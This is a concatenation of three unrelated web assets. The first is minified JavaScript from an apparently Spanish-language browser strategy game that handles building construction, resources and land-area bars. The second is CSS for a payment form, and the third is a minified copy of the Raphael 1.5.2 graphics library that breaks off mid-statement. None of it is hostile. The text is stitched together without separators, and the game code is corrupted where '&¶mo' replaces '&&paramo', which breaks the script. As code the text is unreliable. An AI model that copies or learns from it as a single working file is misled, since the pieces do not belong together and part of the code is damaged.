function evaluaDestruirConstruccion(result,exception){if(exception){mostrarExcepcion(exception);}else{eddy=eddis[memoCualConstruccion];modificarArea(-costeAreaEdif[memoCualConstruccion]*memoCantidadConstruccion);mostrarAdvertencia('Destrucción completada');eddy=iframeConstruir.eddis[memoCualConstruccion];eddy.nivelCantidad-=memoCantidadConstruccion;iframeConstruir.repintarEdificiosFondo();iframeConstruir.repintarIconosConstruccion();verificarContenidoMenus();ocultarDialogo();}}
function evaluaCancelarConstruccion(result,exception){if(exception){mostrarExcepcion(exception);}else{eddy=iframeConstruir.eddis[memoCualConstruccion];cantidadDeEdificiosParaPrecio=eddy.nivelCantidad;if(eddy.tareas!=null&&eddy.tareas>0)cantidadDeEdificiosParaPrecio+=eddy.tareas;recursoOro+=parseInt(calculadorPrecio(esDeNivelEdif[memoCualConstruccion],memoCualConstruccion,cantidadDeEdificiosParaPrecio,eddy.tareas,costeOroEdif[memoCualConstruccion])*(100-descuentoEdificios)/200.0);objetoOro.innerHTML=recursoOro;recursoComida+=parseInt(calculadorPrecio(esDeNivelEdif[memoCualConstruccion],memoCualConstruccion,cantidadDeEdificiosParaPrecio,eddy.tareas,costeArrozEdif[memoCualConstruccion])*(100-descuentoEdificios)/200.0);objetoComida.innerHTML=recursoComida;recursoMadera+=parseInt(calculadorPrecio(esDeNivelEdif[memoCualConstruccion],memoCualConstruccion,cantidadDeEdificiosParaPrecio,eddy.tareas,costeMaderaEdif[memoCualConstruccion])*(100-descuentoEdificios)/200.0);objetoMadera.innerHTML=recursoMadera;recursoHierro+=parseInt(calculadorPrecio(esDeNivelEdif[memoCualConstruccion],memoCualConstruccion,cantidadDeEdificiosParaPrecio,eddy.tareas,costeHierroEdif[memoCualConstruccion])*(100-descuentoEdificios)/200.0);objetoHierro.innerHTML=recursoHierro;modificarArea(-costeAreaEdif[memoCualConstruccion]*eddy.tareas);eddy.tareas=0;eddy.construido=0;iframeConstruir.repintarIconosConstruccion();$('emergentes').innerHTML='';mostrarAdvertencia('Construccion cancelada');}}
var fechaCargaCons;function threadActualizadorCons(){try{fechaActual=(new Date()).getTime();tiempoPasado=(fechaActual-fechaCargaCons)/1000;fechaCargaCons=fechaActual;numOrdenes=0
for(ci=0;ci<=22;ci++){if(eddis[ci].tareas>0){numOrdenes++;}}
numOrdenes=numOrdenes+elementosArtesaniaFuncionando;for(ci=0;ci<=22;ci++){if(eddis[ci].tareas>0){eddis[ci].construido+=(hombresActualmente*tiempoPasado)/(numOrdenes*10);}}
for(cii=0;cii<=22;cii++){if(eddis[cii].tareas>0){costeTiempoAux=calculadorTiempo(eddis[cii].esDeNivel,eddis[cii].cual,eddis[cii].nivelCantidad,1,eddis[cii].costeTiempo);if(eddis[cii].construido>costeTiempoAux){eddis[cii].nivelCantidad++;eddis[cii].construido-=costeTiempoAux;eddis[cii].tareas--;if(eddis[cii].tareas<=0){numOrdenes--;repintarEdificiosFondo();repintarIconosConstruccion();parent.verificarContenidoMenus();parent.$('emergentes').innerHTML='';parent.mostrarAdvertenciaSinReplace('La construccion de '+nombreConstruccionTextos[cii]+' ha terminado');}else{repintarEdificiosFondo();parent.verificarContenidoMenus();parent.$('emergentes').innerHTML='';parent.mostrarAdvertenciaSinReplace('Se ha construido un '+nombreConstruccionTextos[cii]);}}}}}catch(e){}}
function verificarContenidoMenus(){if(iframeConstruir.eddis[edifLockComercio].nivelCantidad>0&&lockComercio){lockComercio=false;cargarContenido(0);}
else if(iframeConstruir.eddis[edifLockComercio].nivelCantidad==0&&!lockComercio){lockComercio=true;cargarContenido(0);}
if(iframeConstruir.eddis[edifLockEjercitos].nivelCantidad>0&&lockEjercitos){lockEjercitos=false;cargarContenido(1);}
else if(iframeConstruir.eddis[edifLockEjercitos].nivelCantidad==0&&!lockComercio){lockEjercitos=true;cargarContenido(1);}
if(iframeConstruir.eddis[edifLockNinjutsu].nivelCantidad>0&&lockNinjutsu){lockNinjutsu=false;cargarContenido(1);}
else if(iframeConstruir.eddis[edifLockNinjutsu].nivelCantidad==0&&!lockComercio){lockNinjutsu=true;cargarContenido(1);}
if(iframeConstruir.eddis[edifLockPolitica].nivelCantidad>0&&lockPolitica){lockPolitica=false;cargarContenido(1);}
else if(iframeConstruir.eddis[edifLockPolitica].nivelCantidad==0&&!lockComercio){lockPolitica=true;cargarContenido(1);}
if(iframeConstruir.eddis[edifLockSamurais].nivelCantidad>0&&lockSamurais){lockSamurais=false;cargarContenido(1);}
else if(iframeConstruir.eddis[edifLockSamurais].nivelCantidad==0&&!lockComercio){lockSamurais=true;cargarContenido(1);}
if(iframeConstruir.eddis[edifLockApuestas].nivelCantidad>0&&lockApuestas){lockApuestas=false;cargarContenido(1);}
else if(iframeConstruir.eddis[edifLockApuestas].nivelCantidad==0&&!lockComercio){lockApuestas=true;cargarContenido(1);}}
var memoPrecioComprarAreas;function comprarAreas(){if(memoPrecioComprarAreas>recursoOro){mostrarError('No tienes oro suficiente');}else{if(eddis[22].nivelCantidad<5){sfDialogoSiONo('Tienes un nivel de castillo bajo que limita las áreas que puedes construir.#Asegúrate de que no es el Castillo el que limita tu construcción.#¿Seguro que quieres ampliar tus áreas de construcción por '+memoPrecioComprarAreas+' de oro?','ordenaComprarAreas()','');}else{sfDialogoSiONo('¿Seguro que quieres ampliar tus áreas de construcción por '+memoPrecioComprarAreas+' de oro?','ordenaComprarAreas()','');}}}
function ordenaComprarAreas(){jsonrpc.construccion.comprarAreas(evaluaComprarAreas);}
function evaluaComprarAreas(result,exception){if(exception){mostrarExcepcion(exception);}else{actualizaRecursos(result);mostrarAdvertencia('Compra realizada correctamente');ponerDatosAreas(result);}}
function ponerDatosAreas(result){memoPrecioComprarAreas=result.precioSigDiez;$('compATb50').innerHTML="";sfTexto('compATb50',result.precioSigDiez+' ','precio',(memoPrecioComprarAreas>recursoOro)?'textoError':'texto1',false);pintarBarraAreas('barraAreasDiv',result.areaTotal,result.areaUtilizada,result.maxCastillo,result.tierrasEmperador,result.regeneracionBosque,result.bosque,true);}
var memoAreaTotal;var memoAreaUtilizada;var memoMaxCastillo;var memoTierrasEmperador;var memoRegeneracionBosque;var memoBosque;var memoParamo;function pintarBarraAreas(donde,areaTotal,areaUtilizada,maxCastillo,tierrasEmperador,regeneracionBosque,bosque,noPintar){if(areaTotal!=null){memoAreaTotal=areaTotal;memoAreaUtilizada=areaUtilizada;memoMaxCastillo=maxCastillo;memoTierrasEmperador=tierrasEmperador;memoRegeneracionBosque=regeneracionBosque;memoBosque=bosque;}else{areaTotal=memoAreaTotal;incAreaUtilizada=memoAreaUtilizada-areaUtilizada;areaUtilizada=memoAreaUtilizada;if(incAreaUtilizada>0){if(memoParamo<=0){memoBosque-=incAreaUtilizada;}}
maxCastillo=memoMaxCastillo;tierrasEmperador=memoTierrasEmperador;regeneracionBosque=memoRegeneracionBosque;bosque=memoBosque;}
if(noPintar==null||noPintar==false){$(donde).innerHTML='';$(donde).style.paddingLeft='20px';sfDiv(donde,'textoResu');sfTable('textoResu','textoResuTb',2,1);$('textoResuTb').style.cellSpacing='0px';$('textoResuTb').style.cellPadding='0px';sfBoton('textoResuTb00','','recursos/area12.gif','',false,'Área total');sfTexto('textoResuTb00',' Área donde construir: ','','texto3',false);sfTexto('textoResuTb00',areaTotal-((tierrasEmperador)?100:0),'','texto1',false);$('textoResuTb00').width='230px';if(tierrasEmperador){sfTexto('textoResuTb00',' + 100 ','','texto1',false);diasTiEmp=Math.round(tierrasEmperador/(60*60*24)-0.5);horasTiEmp=Math.round((tierrasEmperador%(60*60*24))/(60*60)-0.5);minutosTiEmp=Math.round(((tierrasEmperador%(60*60*24))%(60*60))/(60)-0.5);sfBoton('textoResuTb00','idTierrasEmperador','construir/tierrasEmperador.gif','',false,'Tierras del emperador: El emperador te cede 100 áreas # Tiempo restante: '+diasTiEmp+' días '+horasTiEmp+' horas '+minutosTiEmp+' min. ');}
sfEspacio('textoResu',3);sfTable('textoResu','textoResu2Tb',2,1);$('textoResu2Tb').style.cellSpacing='0px';$('textoResu2Tb').style.cellPadding='0px';sfBoton('textoResu2Tb00','','recursos/area12.gif','',false,'Área usada');sfTexto('textoResu2Tb00',' Área usada: ','','texto3',false);sfTexto('textoResu2Tb00',areaUtilizada,'','texto1',false);sfDiv(donde,'textoSup');$('textoSup').style.padding="0px 5px 3px 550px";sfTexto('textoSup','(Tierra no edificable).','','texto1',false);sfTable(donde,'barraGenreral',3,1);$('barraGenreral10').width='10px';sfTable('barraGenreral00','barraPrincipal',9,1);sfTable('barraGenreral20','barraSecundaria',5,1);$('barraGenreral').cellSpacing='0px';$('barraGenreral').cellPadding='0px';$('barraPrincipal').cellSpacing='0px';$('barraPrincipal').cellPadding='0px';$('barraSecundaria').cellSpacing='0px';$('barraSecundaria').cellPadding='0px';alquiler=0;if(areaUtilizada>areaTotal){alquiler=areaUtilizada-areaTotal;areaUtilizada=areaTotal;areaTotal=areaUtilizada+alquiler;paramo=0;if(bosque>100)bosque=100;}else{if(bosque>100){paramo=areaTotal-areaUtilizada-bosque+100;}else{paramo=areaTotal-areaUtilizada;}}
bosqueAPintar=bosque-100;if(bosqueAPintar<0)bosqueAPintar=0;if(paramo<0)paramo=0;if(alquiler<0)alquiler=0;if(alquiler>0)advertencia='¡Estás pagando alquiler! Consigue áreas o destruye tus edificios de más.';else if(areaUtilizada>=areaTotal)advertencia='Has llegado al límite de áreas que puedes construir, consigue áreas.';else if(areaUtilizada>=maxCastillo)advertencia='Has llegado al límite de áreas edificables, amplía el castillo.';else if(areaUtilizada>=areaTotal-15)advertencia='Vas a llegar al límite de áreas que puedes construir, consigue áreas.';else if(areaUtilizada>=maxCastillo-15)advertencia='Vas a llegar al límite de áreas edificables, amplía el castillo.';else if(regeneracionBosque<-250)advertencia='Tu bosque está siendo talado rápidamente, perderás tus ingresos de madera.';else if(regeneracionBosque<0)advertencia='Tu bosque no se regenera lo suficiente, ve con cuidado.';else advertencia='';if(advertencia!=''){sfBoton('textoResuTb10','','iconos/marcar.png','',false,'¡Cuidado!');sfTexto('textoResuTb10',' '+advertencia,'','texto1',false);}
memoAlquiler=alquiler;memoParamo=paramo;pixelsAPintar=450;if(alquiler==0)pixelsAPintar+=10;else if(paramo==0)pixelsAPintar+=10;else if(bosqueAPintar==0)pixelsAPintar+=10;anchoP1=areaUtilizada*pixelsAPintar/areaTotal;anchoP2=alquiler*pixelsAPintar/areaTotal;anchoP3=paramo*pixelsAPintar/areaTotal;anchoP4=bosqueAPintar*pixelsAPintar/areaTotal;if(maxCastillo<areaTotal){anchoP5=parseInt(maxCastillo*pixelsAPintar/areaTotal);}else{anchoP5=pixelsAPintar+12;}
$('barraPrincipal10').width=parseInt(anchoP1)+'px';if(anchoP2>0)$('barraPrincipal30').width=parseInt(anchoP2+1)+'px';else $('barraPrincipal30').style.display='none';if(anchoP3>0)$('barraPrincipal50').width=parseInt(anchoP3+1)+'px';else $('barraPrincipal50').style.display='none';if(anchoP4>0)$('barraPrincipal70').width=parseInt(anchoP4+1)+'px';else $('barraPrincipal70').style.display='none';sfBoton('barraPrincipal00','','construir/areas/izda2.gif','',false,'');$('barraPrincipal10').style.backgroundImage='url('+urlImg+'construir/areas/centro2.gif)';sfTexto('barraPrincipal10',areaUtilizada,'','texto3',false);$('barraPrincipal10').style.padding="2px 5px 10px 5px";if(alquiler==0&¶mo==0&&bosqueAPintar==0){sfBoton('barraPrincipal80','','construir/areas/dcha2.gif','',false,'');}
if(alquiler>0){sfBoton('barraPrincipal20','','construir/areas/sep.gif','',false,'');$('barraPrincipal30').style.backgroundImage='url('+urlImg+'construir/areas/centro3.gif)';sfTexto('barraPrincipal30',alquiler,'','texto3',false);$('barraPrincipal30').style.padding="2px 5px 10px 5px";if(paramo==0&&bosqueAPintar==0){sfBoton('barraPrincipal80','','construir/areas/dcha3.gif','',false,'');}}else{$('barraPrincipal20').style.display='none';$('barraPrincipal30').style.display='none';}
if(paramo>0){sfBoton('barraPrincipal40','','construir/areas/sep.gif','',false,'');$('barraPrincipal50').style.backgroundImage='url('+urlImg+'construir/areas/centro0.gif)';sfTexto('barraPrincipal50',paramo,'','texto3',false);$('barraPrincipal50').style.padding="2px 5px 10px 5px";if(bosqueAPintar==0){sfBoton('barraPrincipal80','','construir/areas/dcha0.gif','',false,'');}}else{$('barraPrincipal40').style.display='none';$('barraPrincipal50').style.display='none';}
if(bosqueAPintar>0){sfBoton('barraPrincipal60','','construir/areas/sep.gif','',false,'');$('barraPrincipal70').style.backgroundImage='url('+urlImg+'construir/areas/centro1.gif)';sfBoton('barraPrincipal80','','construir/areas/dcha1.gif','',false,'');$('barraPrincipal70').style.padding="2px 5px 10px 5px";sfTexto('barraPrincipal70',bosqueAPintar,'','texto3',false);}else{$('barraPrincipal60').style.display='none';$('barraPrincipal70').style.display='none';}
$('barraPrincipal10').align='center';$('barraPrincipal30').align='center';$('barraPrincipal50').align='center';$('barraPrincipal70').align='center';$('barraPrincipal10').style.cursor='pointer';$('barraPrincipal30').style.cursor='pointer';$('barraPrincipal50').style.cursor='pointer';$('barraPrincipal70').style.cursor='pointer';if(bosque>=100){$('barraSecundaria20').width='110px';sfBoton('barraSecundaria00','','construir/areas/izda1.gif','',false,'');$('barraSecundaria20').style.backgroundImage='url('+urlImg+'construir/areas/centro1.gif)';sfBoton('barraSecundaria30','','construir/areas/dcha1.gif','',false,'');$('barraSecundaria20').style.padding="2px 15px 10px 5px";$('barraSecundaria20').align='center';sfTexto('barraSecundaria20',100,'','texto3',false);$('barraSecundaria10').style.display='none';}else{ancho1=parseInt((100-bosque)*1.1);ancho2=parseInt((bosque)*1.1);if(ancho1<20){ancho1=20;ancho2=80;}else if(ancho2<20){ancho2=20;ancho1=80;}
$('barraSecundaria10').width=parseInt(ancho1*1.1)+'px';$('barraSecundaria30').width=parseInt(ancho2*1.1)+'px';sfBoton('barraSecundaria00','','construir/areas/izda0.gif','',false,'');$('barraSecundaria10').style.backgroundImage='url('+urlImg+'construir/areas/centro0.gif)';sfBoton('barraSecundaria20','','construir/areas/sep.gif','',false,'');$('barraSecundaria30').style.backgroundImage='url('+urlImg+'construir/areas/centro1.gif)';sfBoton('barraSecundaria40','','construir/areas/dcha1.gif','',false,'');sfTexto('barraSecundaria10',100-bosque,'','texto3',false);sfTexto('barraSecundaria30',bosque,'','texto3',false);$('barraSecundaria10').style.padding="2px 5px 10px 5px";$('barraSecundaria30').style.padding="2px 5px 10px 5px";$('barraSecundaria10').align='center';$('barraSecundaria30').align='center';}
sfDiv(donde,"helperCons");sfDiv(donde,"helperReg");sfDiv(donde,"helperParam");$("helperCons").style.position='absolute';$("helperReg").style.position='absolute';$("helperParam").style.position='absolute';sfBoton('helperCons','helperConsB','construir/areas/edificado.png','$()',false,'@Area contruida.# Zona ya ocupada con tus edificios.');sfTable('helperReg','helperRegTb',1,2);if(regeneracionBosque>=0){sfBoton('helperRegTb00','helperRegB','construir/areas/regeneracion0.png','$()',false,'@Regeneración del bosque.#El bosque tiene un ritmo de regeneración positivo.# Ira cubriendo las áreas yermas a ritmo de '+regeneracionBosque/100+'/h.');sfTexto('helperRegTb01',' '+regeneracionBosque/100+' /h.','','textoBajasPositivo',false);}else{sfBoton('helperRegTb00','helperRegB','construir/areas/regeneracion1.png','$()',false,'@Talando el bosque.#El bosque tiene un ritmo de regeneración negativo.# Se convertirá en un área yerma a ritmo de '+regeneracionBosque/100+'/h.# Quizás estés talando mucha madera.');sfTexto('helperRegTb01',' '+regeneracionBosque/100+' /h.','','textoBajas',false);}
if(paramo>0||bosque<100){sfBoton('helperParam','helperParamB','construir/areas/yermo.png','$()',false,'@Páramo.# Tu bosque fue talado en esta zona.# Deja de talarlo para que se recupere.');}
sfColocar('helperCons','barraPrincipal',parseInt(anchoP1),13,true);if(alquiler>0){sfDiv(donde,"helperAlq");$("helperAlq").style.position='absolute';sfBoton('helperAlq','helperAlqB','construir/areas/sobreedificado.png','$()',false,'@Area contruida que ya no te pertenece - Alquiler.# Contruiste en áreas que ya no te pertenecen. # No se destruirán, pero pagarás 5 de oro / h. por cada una de ellas.');sfColocar('helperAlq','barraPrincipal',parseInt(anchoP1+anchoP2),13,true);}
sfDiv(donde,"helperBosq");$("helperBosq").style.position='absolute';sfBoton('helperBosq','helperBosqB','construir/areas/bosque.png','$()',false,'@Bosque.# Se regenera sólo si no obtienes madera de él.# De una hectárea puedes conseguir 100 de madera.');sfColocar('helperBosq','barraPrincipal',635,15,true);if(bosque<100){sfColocar('helperParam','barraPrincipal',parseInt(635-20-ancho2),15,true);sfColocar('helperReg','barraPrincipal',parseInt(635+10-ancho2),18,true);}else{if(bosqueAPintar>0){sfDiv(donde,"helperBosq2");$("helperBosq2").style.position='absolute';sfBoton('helperBosq2','helperBosqB2','construir/areas/bosque.png','$()',false,'@Bosque.# Se regenera sólo si no obtienes madera de él.# De una hectárea puedes conseguir 100 de madera.');sfColocar('helperBosq2','barraPrincipal',parseInt(anchoP1+anchoP2+anchoP3+anchoP4+20),15,true);}
if(paramo>0){sfColocar('helperParam','barraPrincipal',parseInt(anchoP1+anchoP2+anchoP3+10),15,true);}
sfColocar('helperReg','barraPrincipal',parseInt(anchoP1+anchoP2+anchoP3+40),18,true);}
sfDiv(donde,"helperCast");$("helperCast").style.position='absolute';sfTable('helperCast','helperCastTb',2,1);sfBoton('helperCastTb00','helperCastB','construir/areas/limiteCastillo.png','$()',false,'Tu castillo permite construir: '+maxCastillo+' áreas.# Amplíalo si las ocupas todas, te permitirá construir 100 más por nivel.');sfTexto('helperCastTb10',maxCastillo,'','texto1',false);$("helperCastTb10").vAlign='top';$("helperCastTb10").style.padding='2px';sfColocar('helperCast','barraPrincipal',parseInt(anchoP5),-23,true);}}
function activarTecnologias(){sfBloqAcciones();$('emerAux').style.display='inline';}
function ocultarTecnologias(){sfDesbloqAcciones();$('emerAux').style.display='none';}
html, body, h1, form, fieldset, legend, ol, li {
margin: 0;
padding: 0;
}
body {
background: #ffffff;
color: #111111;
font-family: Georgia, "Times New Roman", Times, serif;
padding: 20px;
}
h1 {
font-size: 28px;
margin-bottom: 20px;
}
form#payment {
background: #9cbc2c;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-khtml-border-radius: 5px;
border-radius: 5px;
counter-reset: fieldsets;
padding: 20px;
width: 400px;
}
form#payment fieldset {
border: none;
margin-bottom: 10px;
}
form#payment fieldset:last-of-type {
margin-bottom: 0;
}
form#payment legend {
color: #384313;
font-size: 16px;
font-weight: bold;
padding-bottom: 10px;
text-shadow: 0 1px 1px #c0d576;
}
form#payment > fieldset > legend:before {
content: "Step " counter(fieldsets) ": ";
counter-increment: fieldsets;
}
form#payment fieldset fieldset legend {
color: #111111;
font-size: 13px;
font-weight: normal;
padding-bottom: 0;
}
form#payment ol li {
background: #b9cf6a;
background: rgba(255,255,255,.3);
border-color: #e3ebc3;
border-color: rgba(255,255,255,.6);
border-style: solid;
border-width: 2px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-khtml-border-radius: 5px;
border-radius: 5px;
line-height: 30px;
list-style: none;
padding: 5px 10px;
margin-bottom: 2px;
}
form#payment ol ol li {
background: none;
border: none;
float: left;
}
form#payment label {
float: left;
font-size: 13px;
width: 110px;
}
form#payment fieldset fieldset label {
background:none no-repeat left 50%;
line-height: 20px;
padding: 0 0 0 30px;
width: auto;
}
form#payment label[for=visa] {
background-image: url(visa.gif);
}
form#payment label[for=amex] {
background-image: url(amex.gif);
}
form#payment label[for=mastercard] {
background-image: url(mastercard.gif);
}
form#payment fieldset fieldset label:hover {
cursor: pointer;
}
form#payment input:not([type=radio]),
form#payment textarea {
background: #ffffff;
border: none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
border-radius: 3px;
font: italic 13px Georgia, "Times New Roman", Times, serif;
outline: none;
padding: 5px;
width: 200px;
}
form#payment input:not([type=submit]):focus,
form#payment textarea:focus {
background: #eaeaea;
}
form#payment input[type=radio] {
float: left;
margin-right: 5px;
}
form#payment button {
background: #384313;
border: none;
-moz-border-radius: 20px;
-webkit-border-radius: 20px;
-khtml-border-radius: 20px;
border-radius: 20px;
color: #ffffff;
display: block;
font: 18px Georgia, "Times New Roman", Times, serif;
letter-spacing: 1px;
margin: auto;
padding: 7px 25px;
text-shadow: 0 1px 1px #000000;
text-transform: uppercase;
}
form#payment button:hover {
background: #1e2506;
cursor: pointer;
}
(function(){function a(){if(a.is(arguments[0],G)){var b=arguments[0],d=bV[m](a,b.splice(0,3+a.is(b[0],E))),e=d.set();for(var g=0,h=b[w];g<h;g++){var i=b[g]||{};c[f](i.type)&&e[L](d[i.type]().attr(i))}return e}return bV[m](a,arguments)}a.version="1.5.2";var b=/[, ]+/,c={circle:1,rect:1,path:1,ellipse:1,text:1,image:1},d=/\{(\d+)\}/g,e="prototype",f="hasOwnProperty",g=document,h=window,i={was:Object[e][f].call(h,"Raphael"),is:h.Raphael},j=function(){this.customAttributes={}},k,l="appendChild",m="apply",n="concat",o="createTouch"in g,p="",q=" ",r=String,s="split",t="click dblclick mousedown mousemove mouseout mouseover mouseup touchstart touchmove touchend orientationchange touchcancel gesturestart gesturechange gestureend"[s](q),u={mousedown:"touchstart",mousemove:"touchmove",mouseup:"touchend"},v="join",w="length",x=r[e].toLowerCase,y=Math,z=y.max,A=y.min,B=y.abs,C=y.pow,D=y.PI,E="number",F="string",G="array",H="toString",I="fill",J=Object[e][H],K={},L="push",M=/^url\(['"]?([^\)]+?)['"]?\)$/i,N=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\))\s*$/i,O={"NaN":1,Infinity:1,"-Infinity":1},P=/^(?:cubic-)?bezier\(([^,]+),([^,]+),([^,]+),([^\)]+)\)/,Q=y.round,R="setAttribute",S=parseFloat,T=parseInt,U=" progid:DXImageTransform.Microsoft",V=r[e].toUpperCase,W={blur:0,"clip-rect":"0 0 1e9 1e9",cursor:"default",cx:0,cy:0,fill:"#fff","fill-opacity":1,font:"10px \"Arial\"","font-family":"\"Arial\"","font-size":"10","font-style":"normal","font-weight":400,gradient:0,height:0,href:"http://raphaeljs.com/",opacity:1,path:"M0,0",r:0,rotation:0,rx:0,ry:0,scale:"1 1",src:"",stroke:"#000","stroke-dasharray":"","stroke-linecap":"butt","stroke-linejoin":"butt","stroke-miterlimit":0,"stroke-opacity":1,"stroke-width":1,target:"_blank","text-anchor":"middle",title:"Raphael",translation:"0 0",width:0,x:0,y:0},X={along:"along",blur:E,"clip-rect":"csv",cx:E,cy:E,fill:"colour","fill-opacity":E,"font-size":E,height:E,opacity:E,path:"path",r:E,rotation:"csv",rx:E,ry:E,scale:"csv",stroke:"colour","stroke-opacity":E,"stroke-width":E,translation:"csv",width:E,x:E,y:E},Y="replace",Z=/^(from|to|\d+%?)$/,$=/\s*,\s*/,_={hs:1,rg:1},ba=/,?([achlmqrstvxz]),?/gi,bb=/([achlmqstvz])[\s,]*((-?\d*\.?\d*(?:e[-+]?\d+)?\s*,?\s*)+)/ig,bc=/(-?\d*\.?\d*(?:e[-+]?\d+)?)\s*,?\s*/ig,bd=/^r(?:\(([^,]+?)\s*,\s*([^\)]+?)\))?/,be=function(a,b){return a.key-b.key};a.type=h.SVGAngle||g.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#BasicStructure","1.1")?"SVG":"VML";if(a.type=="VML"){var bf=g.createElement("div"),bg;bf.innerHTML="<v:shape adj=\"1\"/>";bg=bf.firstChild;bg.style.behavior="url(#default#VML)";if(!(bg&&typeof bg.adj=="object"))return a.type=null;bf=null}a.svg=!(a.vml=a.type=="VML");j[e]=a[e];k=j[e];a._id=0;a._oid=0;a.fn={};a.is=function(a,b){b=x.call(b);if(b=="finite")return!O[f](+a);return b=="null"&&a===null||b==typeof a||b=="object"&&a===Object(a)||b=="array"&&Array.isArray&&Array.isArray(a)||J.call(a).slice(8,-1).toLowerCase()==b};a.angle=function(b,c,d,e,f,g){{if(f==null){var h=b-d,i=c-e;if(!h&&!i)return 0;return((h<0)*180+y.atan(-i/-h)*180/D+360)%360}return a.angle(b,c,f,g)-a.angle(d,e,f,g)}};a.rad=function(a){return a%360*D/180};a.deg=function(a){return a*180/D%360};a.snapTo=function(b,c,d){d=a.is(d,"finite")?d:10;if(a.is(b,G)){var e=b.length;while(e--)if(B(b[e]-c)<=d)return b[e]}else{b=+b;var f=c%b;if(f<d)return c-f;if(f>b-d)return c-f+b}return c};function bh(){var a=[],b=0;for(;b<32;b++)a[b]=(~(~(y.random()*16)))[H](16);a[12]=4;a[16]=(a[16]&3|8)[H](16);return"r-"+a[v]("")}a.setWindow=function(a){h=a;g=h.document};var bi=function(b){if(a.vml){var c=/^\s+|\s+$/g,d;try{var e=new ActiveXObject("htmlfile");e.write("<body>");e.close();d=e.body}catch(a){d=createPopup().document.body}var f=d.createTextRange();bi=bm(function(a){try{d.style.color=r(a)[Y](c,p);var b=f.queryCommandValue("ForeColor");b=(b&255)<<16|b&65280|(b&16711680)>>>16;return"#"+("000000"+b[H](16)).slice(-6)}catch(a){return"none"}})}else{var h=g.createElement("i");h.title="Raphaël Colour Picker";h.style.display="none";g.body[l](h);bi=bm(function(a){h.style.color=a;return g.defaultView.getComputedStyle(h,p).getPropertyValue("color")})}return bi(b)},bj=function(){return"hsb("+[this.h,this.s,this.b]+")"},bk=function(){return"hsl("+[this.h,this.s,this.l]+")"},bl=function(){return this.hex};a.hsb2rgb=function(b,c,d,e){if(a.is(b,"object")&&"h"in b&&"s"in b&&"b"in b){d=b.b;c=b.s;b=b.h;e=b.o}return a.hsl2rgb(b,c,d/2,e)};a.hsl2rgb=function(b,c,d,e){if(a.is(b,"object")&&"h"in b&&"s"in b&&"l"in b){d=b.l;c=b.s;b=b.h}if(b>1||c>1||d>1){b/=360;c/=100;d/=100}var f={},g=["r","g","b"],h,i,j,k,l,m;if(c){d<0.5?h=d*(1+c):h=d+c-d*c;i=2*d-h;for(var n=0;n<3;n++){j=b+1/3*-(n-1);j<0&&j++;j>1&&j--;j*6<1?f[g[n]]=i+(h-i)*6*j:j*2<1?f[g[n]]=h:j*3<2?f[g[n]]=i+(h-i)*(2/3-j)*6:f[g[n]]=i}}else f={r:d,g:d,b:d};f.r*=255;f.g*=255;f.b*=255;f.hex="#"+(16777216|f.b|f.g<<8|f.r<<16).toString(16).slice(1);a.is(e,"finite")&&(f.opacity=e);f.toString=bl;return f};a.rgb2hsb=function(b,c,d){if(c==null&&a.is(b,"object")&&"r"in b&&"g"in b&&"b"in b){d=b.b;c=b.g;b=b.r}if(c==null&&a.is(b,F)){var e=a.getRGB(b);b=e.r;c=e.g;d=e.b}if(b>1||c>1||d>1){b/=255;c/=255;d/=255}var f=z(b,c,d),g=A(b,c,d),h,i,j=f;{if(g==f)return{h:0,s:0,b:f,toString:bj};var k=f-g;i=k/f;b==f?h=(c-d)/k:c==f?h=2+(d-b)/k:h=4+(b-c)/k;h/=6;h<0&&h++;h>1&&h--}return{h:h,s:i,b:j,toString:bj}};a.rgb2hsl=function(b,c,d){if(c==null&&a.is(b,"object")&&"r"in b&&"g"in b&&"b"in b){d=b.b;c=b.g;b=b.r}if(c==null&&a.is(b,F)){var e=a.getRGB(b);b=e.r;c=e.g;d=e.b}if(b>1||c>1||d>1){b/=255;c/=255;d/=255}var f=z(b,c,d),g=A(b,c,d),h,i,j=(f+g)/2,k;if(g==f)k={h:0,s:0,l:j};else{var l=f-g;i=j<0.5?l/(f+g):l/(2-f-g);b==f?h=(c-d)/l:c==f?h=2+(d-b)/l:h=4+(b-c)/l;h/=6;h<0&&h++;h>1&&h--;k={h:h,s:i,l:j}}k.toString=bk;return k};a._path2string=function(){return this.join(",")[Y](ba,"$1")};function bm(a,b,c){function d(){var g=Array[e].slice.call(arguments,0),h=g[v]("►"),i=d.cache=d.cache||{},j=d.count=d.count||[];if(i[f](h))return c?c(i[h]):i[h];j[w]>=1000&&delete i[j.shift()];j[L](h);i[h]=a[m](b,g);return c?c(i[h]):i[h]}return d}a.getRGB=bm(function(b){if(!b||!(!((b=r(b)).indexOf("-")+1)))return{r:-1,g:-1,b:-1,hex:"none",error:1};if(b=="none")return{r:-1,g:-1,b:-1,hex:"none"};!(_[f](b.toLowerCase().substring(0,2))||b.charAt()=="#")&&(b=bi(b));var 